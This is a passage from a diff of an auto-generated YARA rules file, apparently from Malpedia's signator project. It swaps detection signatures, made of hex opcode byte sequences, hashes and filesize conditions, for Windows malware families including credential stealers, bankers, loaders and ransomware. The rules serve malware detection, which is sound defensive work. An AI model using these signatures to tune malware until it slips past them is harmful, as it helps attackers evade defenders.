488bb590020000 488b7c2438 33c9 33d2 } - $sequence_30 = { 80bb8000000040 0f8577ffffff 488d8b81000000 488d542450 e8???????? 85c0 } - $sequence_31 = { 75b9 4883c314 e9???????? ff15???????? 33c0 } + $sequence_0 = { 837c242008 c78424c800000007000000 c78424c400000000000000 66898424b4000000 } + $sequence_1 = { 8d842484000000 50 8d9424d0000000 8d8c24a8010000 c68424cc01000009 e8???????? } + $sequence_2 = { 83c404 33c0 83bc249800000008 c744246807000000 c744246400000000 } + $sequence_3 = { 83bc24b000000008 c784248000000007000000 c744247c00000000 668944246c 7228 } + $sequence_4 = { 8b0e e8???????? eb2a ff750c } + $sequence_5 = { 5e c3 55 8bec 8b4508 ff34c5a8f52400 } + $sequence_6 = { 3a503a 683a783a7c 3a803a843a98 3a9c3aa03ab83a } + $sequence_7 = { 0f43842480000000 6a00 50 ffd7 8d442464 50 } + $sequence_8 = { e9???????? 8d8d44fbffff e9???????? 8d8d44fbffff e9???????? 8b542408 8d823cfbffff } + $sequence_9 = { 80bda7fdffff00 8b5d1c 8b7d18 8b7508 741d 57 8d4508 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Metadatabin_Auto : FILE +rule MALPEDIA_Win_Getmypass_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bab038c8-9529-5be3-bcc9-7d10f8fe61a6" + id = "14973234-1738-56b7-9223-d08c6bb175b6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metadatabin_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmypass_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "407d015151f744f5ae0365f6bb52601cc8c31860d073c726bc5069058743c3e0" + logic_hash = "e0df53beaa529f0daff55ba7793f7f6ede1e6ce78673fcc88efeed0e172026bc" score = 75 quality = 75 tags = "FILE" @@ -103737,32 +104149,32 @@ rule MALPEDIA_Win_Metadatabin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d9424b8000000 e8???????? 83bc248800000005 0f848d010000 f20f108c2498000000 f20f108424a0000000 f20f10942488000000 } - $sequence_1 = { c745e4c0834000 894dd0 8d4dc0 c745d402000000 89c2 897de8 8975ec } - $sequence_2 = { b911000000 89df f3a5 f20f108c2474050000 f20f1094246c050000 f20f1084247c050000 f20f118c24b8030000 } - $sequence_3 = { b001 84c9 0f859cfeffff 8b461c 6a01 68???????? ff7618 } - $sequence_4 = { 8b470c 83780400 7421 8b5f08 83780809 7308 e8???????? } - $sequence_5 = { ff76fc e9???????? 0fb64e2c 85c9 0f84a2000000 83f903 0f84b2000000 } - $sequence_6 = { e8???????? 0f0b 660f1f840000000000 55 89e5 83ec08 8b4508 } - $sequence_7 = { 8a4220 0f1002 8b4a10 8b5214 8845dc 8d45e0 0f1145bc } - $sequence_8 = { c68424010c000000 c78424c00b00003e000000 c68424020c000000 c78424c00b00003f000000 c68424030c000000 c78424c00b000040000000 8db424c00b0000 } - $sequence_9 = { 89de 8b9c24a0020000 135c2478 13542424 138424a0000000 03bc2430010000 135c2414 } + $sequence_0 = { e8???????? 83c404 85c0 0f8444010000 8b4508 50 e8???????? } + $sequence_1 = { 3b4d10 7d12 8b550c 0355fc 8b4508 0345fc 8a08 } + $sequence_2 = { 8b45e0 0fbe08 83f944 0f8535010000 837de400 750b 8b55e0 } + $sequence_3 = { 55 8bec 83ec08 c745fc00000000 8d45fc 50 68???????? } + $sequence_4 = { 55 8bec 83ec08 833d????????04 721d a1???????? } + $sequence_5 = { 0f8400010000 837de400 750b 8b45e0 } + $sequence_6 = { 8b4d0c 51 e8???????? 83c40c 8d95d8f5ffff 52 8b4508 } + $sequence_7 = { 8b45fc 50 6a00 ff15???????? 8985f4fbffff } + $sequence_8 = { 8a55f8 8811 ebe1 c745f400000000 8b45f4 8945ec } + $sequence_9 = { 83f944 0f85b4020000 837d9819 0f86aa020000 c745a400000000 8b55e0 83ea01 } condition: - 7 of them and filesize < 1263616 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Unidentified_003_Auto : FILE +rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d98d47b0-9a51-53ac-b838-c109a79a3c60" + id = "4b8a0033-eafb-588e-852d-212657477c66" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_003_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erbium_stealer_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "a77ee5178781b22b88b059404b849af3a08c098d4327a0118f9c2d73b7bfb28c" + logic_hash = "52e0e8033201024664e25bae217264a7d239dc0c23fc20bab4e50f4bf89b0343" score = 75 quality = 75 tags = "FILE" @@ -103776,32 +104188,32 @@ rule MALPEDIA_Win_Unidentified_003_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b8???????? 2b05???????? ff7006 50 50 8d442464 50 } - $sequence_1 = { 7561 6a00 68???????? 8d45f0 e8???????? } - $sequence_2 = { 0f8312020000 8dbdf1fdffff 2bf9 8a11 88140f 41 84d2 } - $sequence_3 = { 85c0 75b5 8d45f4 50 8d85e3fbffff 50 } - $sequence_4 = { 395de0 0f8421010000 8b45e0 8b08 50 } - $sequence_5 = { bb01000080 53 ff15???????? 6a22 58 668985f0fbffff 33c0 } - $sequence_6 = { 3bc3 7468 3d00100400 741c 3d10100400 7415 3d00100600 } - $sequence_7 = { ff45fc 8b45fc 8145f80c020000 81c718040000 3b45f0 0f8238ffffff eb07 } - $sequence_8 = { 8b45a4 3bc3 7464 8945d8 33c0 8d7dac ab } - $sequence_9 = { 56 e8???????? 59 59 85c0 7408 c60000 } + $sequence_0 = { 75f8 ba???????? b926000000 2bd0 } + $sequence_1 = { 7409 83c002 66833800 75f7 668b4c2450 6685c9 7418 } + $sequence_2 = { 6a04 6800200000 23f0 56 6a00 ff15???????? } + $sequence_3 = { ff15???????? 8945bc 68???????? 8b55f4 52 } + $sequence_4 = { eb96 6a04 6800300000 6a18 6a00 8b4508 50 } + $sequence_5 = { 52 8b4508 50 ff55bc 33c9 } + $sequence_6 = { 668b8c24a0020000 6685c9 741b 8d9424a0020000 0fb7c9 2bd0 668908 } + $sequence_7 = { ff55b8 c745cc00000000 837dcc00 0f85a2000000 c745c400000000 8d4dc4 51 } + $sequence_8 = { 75f8 668b8c24a0020000 6685c9 741b 8d9424a0020000 } + $sequence_9 = { 8b55f8 8b45fc 0302 8b4de0 0fb711 81e2ff0f0000 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 33792 } -rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE +rule MALPEDIA_Win_Matrix_Banker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b018fd5-a77f-5d35-804b-d70e18428f2b" + id = "5e56425b-5f6b-5ff1-8380-5d5609da8da8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiteblackcrypt_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matrix_banker_auto.yar#L1-L111" license_url = "N/A" - logic_hash = "4f74eb7c5773b19a8be72f0225ca23ef138b3bc453243d9314335e49ca519939" + logic_hash = "c882b53f487e75c9405f3f1fd8e8a700ef1f2f55c75fbbd05eae09bdd19de300" score = 75 quality = 75 tags = "FILE" @@ -103815,32 +104227,32 @@ rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 40326c243e 31ef 4131fa 4531d6 4531f5 } - $sequence_1 = { 7477 83feff 7c60 752e 488b8b38020000 } - $sequence_2 = { 410f94c2 4409d0 4109cb 753a } - $sequence_3 = { ff15???????? 83f812 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff } - $sequence_4 = { 0f840c010000 488d7c2420 4889da 41b804010000 4889f9 } - $sequence_5 = { 4889c1 e8???????? 4889e9 4889c2 4883c428 5b } - $sequence_6 = { 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff 48898338020000 } - $sequence_7 = { 4c89e1 41c6442cff00 e8???????? 4c39e6 } - $sequence_8 = { 4889f1 e8???????? 4889f1 85c0 7407 } - $sequence_9 = { 4401e6 4d63c4 4889f9 4989d9 ba01000000 } + $sequence_0 = { 80f905 7705 80c2a9 eb0b 8d4abf 80f905 } + $sequence_1 = { 80f905 7704 04a9 eb0a } + $sequence_2 = { eb16 8d489f 80f905 7704 } + $sequence_3 = { 66890d???????? 66030d???????? 66890d???????? e8???????? } + $sequence_4 = { 8d48bf 80f905 7702 04c9 } + $sequence_5 = { 8d4abf 80f905 7703 80c2c9 } + $sequence_6 = { 8d489f 80f905 7704 04a9 } + $sequence_7 = { eb0a 8d48bf 80f905 7702 04c9 8d4ad0 80f909 } + $sequence_8 = { 04a9 eb0a 8d48bf 80f905 7702 } + $sequence_9 = { 80f905 7705 80c2a9 eb0b 8d4abf } condition: - 7 of them and filesize < 99328 + 7 of them and filesize < 422912 } -rule MALPEDIA_Win_Lobshot_Auto : FILE +rule MALPEDIA_Win_Oatboat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6f20fbff-d088-55ca-8131-38feba325236" + id = "4613e236-064b-571a-be7e-ff2a01da6b41" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lobshot_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oatboat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oatboat_auto.yar#L1-L103" license_url = "N/A" - logic_hash = "319a86adb13eb9e86d16d75f8640b06a3709c7236ca49379440781ba36dcddcb" + logic_hash = "7413375bcf19ea166467a5406a23466233d2d4aaf455c3de8007d0b602ee838d" score = 75 quality = 75 tags = "FILE" @@ -103854,32 +104266,30 @@ rule MALPEDIA_Win_Lobshot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4e08 8a86b1160000 eb10 85c0 7e12 8b5608 8b4e14 } - $sequence_1 = { 0f8c89040000 85db b98a000000 6a07 58 0f45c8 33c0 } - $sequence_2 = { 5f c3 53 56 85c9 7462 } - $sequence_3 = { 6685c9 740a 83f92e 7405 } - $sequence_4 = { 8945e8 66d3e0 660b86b0160000 0fb7c0 8945f8 6a10 58 } - $sequence_5 = { 8b7d18 33c9 6a0f 41 58 39b48d78ffffff 7505 } - $sequence_6 = { 8b4764 8a5401ff 8b8f98160000 8b879c160000 66893448 8b8798160000 8b8f90160000 } - $sequence_7 = { ff35???????? 6801000080 ff15???????? 85c0 0f851e010000 55 8b2d???????? } - $sequence_8 = { 8b8b4c140000 8b83580b0000 8b55ec 89848b540b0000 8bcb e8???????? } - $sequence_9 = { 83ec30 8b4204 8945d8 8b4208 53 8b1a 56 } + $sequence_0 = { c745e465655669 c745e872747561 c745ec6c4d656d c745f06f727900 e8???????? 41b900800000 } + $sequence_1 = { 488d0dc20b0000 ff15???????? 33c0 4883c450 415f } + $sequence_2 = { 4c896538 c745e04e74416c c745e46c6f6361 c745e874655669 c745ec72747561 c745f06c4d656d c745f46f727900 } + $sequence_3 = { c745e8656d6f72 66c745ec7900 e8???????? 4d8bc4 } + $sequence_4 = { c745ec72747561 c745f06c4d656d c745f46f727900 e8???????? 4c8d4d38 c744242840000000 4533c0 } + $sequence_5 = { 488bc8 e8???????? 488bd8 488b7c2458 488bc3 } + $sequence_6 = { 7527 488d4df0 c745f04c6f6164 c745f44c696272 c745f861727957 44887dfc e8???????? } + $sequence_7 = { c745ec33003200 c745f02e004400 c745f44c004c00 e8???????? } condition: - 7 of them and filesize < 247808 + 7 of them and filesize < 58368 } -rule MALPEDIA_Win_Powerloader_Auto : FILE +rule MALPEDIA_Win_Campoloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c50a3558-9d40-5d02-8dcc-a013fb97306d" + id = "47bbab4d-d2fa-57b5-b699-26c8446d214c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerloader_auto.yar#L1-L106" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.campoloader_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "c426c342e944500b9eabe80251134c6aa09970a7034e66d9d42756bf84d7595a" + logic_hash = "66a1664e5b6aaa82c7d5c893eda78f4cfabab07bd0de557bd9bf7b0222c59b17" score = 75 quality = 75 tags = "FILE" @@ -103893,32 +104303,32 @@ rule MALPEDIA_Win_Powerloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b7c2430 85ed 740d } - $sequence_1 = { e8???????? eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 } - $sequence_2 = { 33d2 ff15???????? 83f81f 7323 } - $sequence_3 = { 7441 8b5c2430 85db 741d } - $sequence_4 = { 8bd0 e8???????? 85ff 740c } - $sequence_5 = { e8???????? 0fb6d8 84c0 7514 ff15???????? } - $sequence_6 = { e8???????? 0fb6d8 84c0 7514 } - $sequence_7 = { eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 } - $sequence_8 = { e8???????? eb22 33c9 66666666660f1f840000000000 } - $sequence_9 = { 33d2 c605????????00 e8???????? 0fb6c3 } + $sequence_0 = { 2b4dd8 894dd4 8b55f8 0355d4 8955f8 8b45f8 } + $sequence_1 = { 7407 33c0 e9???????? c78548efffff00000000 8d8de8fcffff 898d7cefffff } + $sequence_2 = { 898568efffff 8d95f0feffff 52 ff15???????? 898550efffff 0fb78554efffff 50 } + $sequence_3 = { 8bec b8bc100000 e8???????? a1???????? 33c5 8945fc a1???????? } + $sequence_4 = { 8b55f8 0355d4 8955f8 8b45f8 } + $sequence_5 = { 8a11 8855e4 8345d001 807de400 75ee 8b45d0 2b45a4 } + $sequence_6 = { e8???????? 83c404 89856cefffff 8b958cefffff 2b956cefffff 89958cefffff c78564efffff00000000 } + $sequence_7 = { ff15???????? 898550efffff 0fb78554efffff 50 ff15???????? 66898522f1ffff b902000000 } + $sequence_8 = { 8b45e4 8945ec 8b4dec 83c101 894dd8 } + $sequence_9 = { c745f8ffffffff 8b45e8 50 8b4d08 51 ff15???????? 83c408 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 66560 } -rule MALPEDIA_Win_Pocodown_Auto : FILE +rule MALPEDIA_Win_Svcready_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24fa8c2b-d3e1-5926-9dee-69a93fed8b3c" + id = "e83853f3-e66b-52ee-ae09-132965a1cb28" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pocodown_auto.yar#L1-L90" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.svcready_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "81ce65c7d22552fcdf6138ce3c49e38f993fc4ab399006dba75fe36bc9807464" + logic_hash = "70f5a6e47586d208a50ef25a32145ee8864e4794b50daca718026585b6e54bc9" score = 75 quality = 75 tags = "FILE" @@ -103932,30 +104342,32 @@ rule MALPEDIA_Win_Pocodown_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8c2488000000 e8???????? 85c0 0f849d010000 } - $sequence_1 = { 8b8c2488000000 e8???????? 03442460 89842488000000 } - $sequence_2 = { 8b8c2488000000 8d840801fcffff 8944244c 837c244c00 } - $sequence_3 = { 8b8c2488000000 e8???????? 89842488000000 488b442478 } - $sequence_4 = { 8b8c2488000000 8d8401f33e706d 89842488000000 ba05000000 } - $sequence_5 = { 8b8c2488000000 e8???????? 4885c0 7529 } - $sequence_6 = { 8b8c2488000000 e8???????? 4883bc249000000000 741a } - $sequence_7 = { 8b8c2488000000 ff15???????? 85c0 7519 } + $sequence_0 = { 895c2410 8bc7 896c2418 f7d2 33c6 0bfa 21542410 } + $sequence_1 = { eb02 33f6 895d28 8d4702 } + $sequence_2 = { 89442410 33c0 89742414 896c2418 895c241c ab } + $sequence_3 = { 66c7070100 885f02 891e 885e04 895e08 895e0c 895dfc } + $sequence_4 = { 8b442428 40 50 57 51 } + $sequence_5 = { 8b01 8902 83c204 83c104 894dec 8b45e8 ebea } + $sequence_6 = { 50 ff74241c ff15???????? 33c0 8d7c2408 ab } + $sequence_7 = { 8bca 8dbefc600000 f3ab 8bca } + $sequence_8 = { 2bd1 8b7c2414 2bf1 c1fa02 c1fe02 3bfa 7678 } + $sequence_9 = { 3c58 7504 897c2414 52 51 e8???????? 89442430 } condition: - 7 of them and filesize < 6703104 + 7 of them and filesize < 1187840 } -rule MALPEDIA_Win_Thanatos_Auto : FILE +rule MALPEDIA_Win_Doublefinger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "503a7f37-fd56-5eb4-8fd1-5ecbf912c720" + id = "1a4bb31a-3c01-5b6e-ae26-bb31027c979c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefinger_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "a490fddf2b1c7ed46086686ac0e8278c90a6f240d56058a2bebac261ed9edf67" + logic_hash = "34310946832cc40b49a31828e604fb9d9a1c8fad12732184c4ffa2b4443b2159" score = 75 quality = 75 tags = "FILE" @@ -103969,32 +104381,32 @@ rule MALPEDIA_Win_Thanatos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740a 8b45f8 83e007 3c05 751c 834714fc } - $sequence_1 = { ff15???????? 03c0 50 53 ffb514fdffff 56 ff15???????? } - $sequence_2 = { 8b856cffffff 8906 8b8570ffffff 8907 8b4dfc 5f 33cd } - $sequence_3 = { 56 8d43fe 8bd1 33f6 57 8b7d08 } - $sequence_4 = { 8d0449 8d0445981c0210 5d c3 8d04cd00000000 2bc1 8d0445c0390210 } - $sequence_5 = { 2db8000000 81e6ff1f0000 03f0 0fb7047528f10110 6685c0 74c5 } - $sequence_6 = { 6a00 c705????????00000000 c705????????00000000 ff15???????? 85c0 743e 8d85f0fdffff } - $sequence_7 = { 66a1???????? 668945f8 a0???????? 83c420 8845fa 8d45f4 50 } - $sequence_8 = { 0f8718010000 8b35???????? 68???????? 53 ffd6 85c0 } - $sequence_9 = { 83e003 c1e004 5f 0fb68028850110 884101 5e } + $sequence_0 = { c644247d64 c644247e79 c644247f97 488d942410030000 488d4c2478 e8???????? } + $sequence_1 = { 8b442448 39442444 7d27 41b87a000000 ba61000000 488b8c2468010000 e8???????? } + $sequence_2 = { 4533c0 8b942464010000 488b4c2450 e8???????? } + $sequence_3 = { c6440478af ba0a020000 b940000000 488b842468010000 ff5038 } + $sequence_4 = { e8???????? ba0a020000 488d8c2460010000 e8???????? } + $sequence_5 = { 39442408 0f8394000000 c6042400 c744240400000000 eb0a 8b442404 } + $sequence_6 = { 488bc1 eb7a 837c242000 7471 } + $sequence_7 = { ba0a020000 b940000000 488b442470 ff5038 } + $sequence_8 = { 3565708005 8984246c010000 8b84246c010000 8b4c2460 33c8 } + $sequence_9 = { 66898424fc000000 33c0 66898424fe000000 ba64000000 } condition: - 7 of them and filesize < 1810432 + 7 of them and filesize < 115712 } -rule MALPEDIA_Win_Furtim_Auto : FILE +rule MALPEDIA_Win_Portdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad577b23-66c9-5c51-817c-414dfaa85803" + id = "e4b852ed-5498-5523-835d-78e52c259853" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.furtim_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portdoor_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "d317e4f334ec1dda33c613c0848248b97fb2b5924cd44cad020709ead778cee8" + logic_hash = "7da9aa8b4f7f6857e35f1211f6a60eddf3c94eedff73ea09aab294e2b6809d65" score = 75 quality = 75 tags = "FILE" @@ -104008,32 +104420,32 @@ rule MALPEDIA_Win_Furtim_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 55 8bec 83ec68 53 56 68???????? } - $sequence_1 = { 85c0 7413 8b4c2424 8bd1 2bd6 8a12 8811 } - $sequence_2 = { 55 8bec 8b4508 ff34c5d0404100 ff15???????? 5d c3 } - $sequence_3 = { 5e 5b c9 c20800 56 8bf1 ff96d4060000 } - $sequence_4 = { 8bf8 68???????? 57 ff961c070000 83c40c 6a0b 57 } - $sequence_5 = { 33db 895de8 8d7dec ab ab ab 8d45fc } - $sequence_6 = { ff969c020000 85c0 0f850d010000 33db 399e08060000 0f84f7000000 33c0 } - $sequence_7 = { 895df4 ff9660060000 85c0 7532 385dfc 742d 0fb645fc } - $sequence_8 = { 7405 8bce ff5614 53 53 56 ffb640070000 } - $sequence_9 = { 56 53 ffb360020000 8975fc 56 } + $sequence_0 = { 884dff eb4e 8808 46 40 eb48 80f909 } + $sequence_1 = { e8???????? 6a5c 58 6a2a 668945f0 } + $sequence_2 = { 50 a3???????? e8???????? 83c410 8b4dfc 33cd 5e } + $sequence_3 = { ff75e8 ff15???????? 6828020000 8d85c0fdffff } + $sequence_4 = { 6a64 5a ffb57cf7ffff 668945e0 } + $sequence_5 = { 8b0485b80f0210 f644010440 7409 803a1a 7504 33c0 eb1c } + $sequence_6 = { 59 85c0 0f84da000000 8b4704 8bce 8b7708 c1e102 } + $sequence_7 = { 807e0400 0f8564ffffff eb0c ff36 ff15???????? c6460400 5f } + $sequence_8 = { 85ff 7450 8d4701 50 } + $sequence_9 = { e8???????? a1???????? 33c5 8945fc 53 8b5d08 8d85fdfbffff } condition: - 7 of them and filesize < 622592 + 7 of them and filesize < 297984 } -rule MALPEDIA_Win_Brbbot_Auto : FILE +rule MALPEDIA_Win_Matanbuchus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6f8ffa7c-cd8c-50e9-99ce-be919b2bf777" + id = "14891cee-6fee-5b85-a869-72db3819e8d3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brbbot_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matanbuchus_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "81c84b2ac34bd64175981dcc2195841d305509a8b4adcc1041ffc068cd7e1797" + logic_hash = "8cc6ad0369ae6a09d94059ca0fd839ca0ba525864e83ed2b19f2484b94f687e7" score = 75 quality = 75 tags = "FILE" @@ -104047,32 +104459,32 @@ rule MALPEDIA_Win_Brbbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d0d14310000 4533c9 ba00000040 4489442420 ff15???????? 488905???????? } - $sequence_1 = { 4c8d41ff 488b4d00 e8???????? 443926 7433 488b4d00 488d15e1ca0000 } - $sequence_2 = { 8b4d48 41b801000000 4883caff e8???????? 807d580a 4c8d05af3dffff 740f } - $sequence_3 = { 488906 8b05???????? 894608 0fb705???????? 6689460c 488bc6 660f1f440000 } - $sequence_4 = { 48ffcf 75f5 488bce e8???????? 488bf8 } - $sequence_5 = { 81cb00000780 8bc3 4883c448 5f 5b c3 4c8d0562ec0000 } - $sequence_6 = { 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 33ff 33c9 } - $sequence_7 = { 7516 488d051cb80000 488b4c2430 483bc8 7405 e8???????? } - $sequence_8 = { 750d 488bce e8???????? e9???????? 4c8d2d31bb0000 8bcb 488beb } - $sequence_9 = { 8a45d9 4b8b8cf8c05a0100 88443139 4b8b84f8c05a0100 8854303a eb4c } + $sequence_0 = { 8955ec 0fb745fc 8b4dd8 668b1441 668955f8 eb0f } + $sequence_1 = { 035120 8955dc 8b45f4 8b4d08 03481c 894dcc c745f000000000 } + $sequence_2 = { 51 b801000000 6bc800 8b5508 0fbe040a 85c0 } + $sequence_3 = { 8b55d4 8b048a 034508 8945d0 0fb74df4 0fb755f8 } + $sequence_4 = { 41 66894df8 0fb755fc 85d2 } + $sequence_5 = { 0fbe1401 33550c 69c293010001 50 b901000000 c1e100 034d08 } + $sequence_6 = { eb04 33c0 eb18 eb82 8b4df4 8b55f4 } + $sequence_7 = { 81fa4d5a0000 7407 33c0 e9???????? 8b45e8 8b4d08 } + $sequence_8 = { ff55f0 6800800000 6a00 8b5508 } + $sequence_9 = { 8b55f0 8b4214 8945e8 33c9 66894dfc } condition: - 7 of them and filesize < 198656 + 7 of them and filesize < 13077504 } -rule MALPEDIA_Win_Erebus_Auto : FILE +rule MALPEDIA_Win_Ransoc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "39f02208-f6d1-53ec-bb2d-e4d6d7fbb231" + id = "d4231c6d-a004-5baa-86ba-cc26d508cfdf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erebus_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransoc_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "720efa579203a9c164159e94c36d17e968a866b84ffb4b18a083c36176a0a8d5" + logic_hash = "3aba656893a98b7e7e042164f300a01531e4785d0c2a9f4ed3d68e27e1dc31f6" score = 75 quality = 75 tags = "FILE" @@ -104086,32 +104498,32 @@ rule MALPEDIA_Win_Erebus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 53 50 52 8bcf e8???????? 837d1c08 } - $sequence_1 = { 32db eb02 b301 57 e8???????? 83c404 c7442420ffffffff } - $sequence_2 = { 83c430 837dec10 720b ff75d8 e8???????? 83c404 837d1c10 } - $sequence_3 = { 55 57 8bf9 3bfa 7412 8d049d00000000 50 } - $sequence_4 = { 732f 8a80c4244f00 8d4da8 88857cfeffff ffb57cfeffff 6a01 e8???????? } - $sequence_5 = { 8d4e38 e8???????? 8d87e4000000 50 8d8ee4000000 e8???????? 5f } - $sequence_6 = { 8b542410 f30f6f40f0 83c708 8d4920 8d4020 660f380005???????? f30f7f41e0 } - $sequence_7 = { 83c40c 8b4610 89442444 8b542450 33c0 8b742454 8bca } - $sequence_8 = { 83f905 7d10 668b444b0c 6689044d0c775200 41 ebe8 8bce } - $sequence_9 = { bd20000000 83c6fc 2be9 03f2 8b16 8d76fc } + $sequence_0 = { c3 57 50 6a01 e8???????? } + $sequence_1 = { 8b5034 3bd7 753e 8b7230 } + $sequence_2 = { eb02 8913 894a34 895138 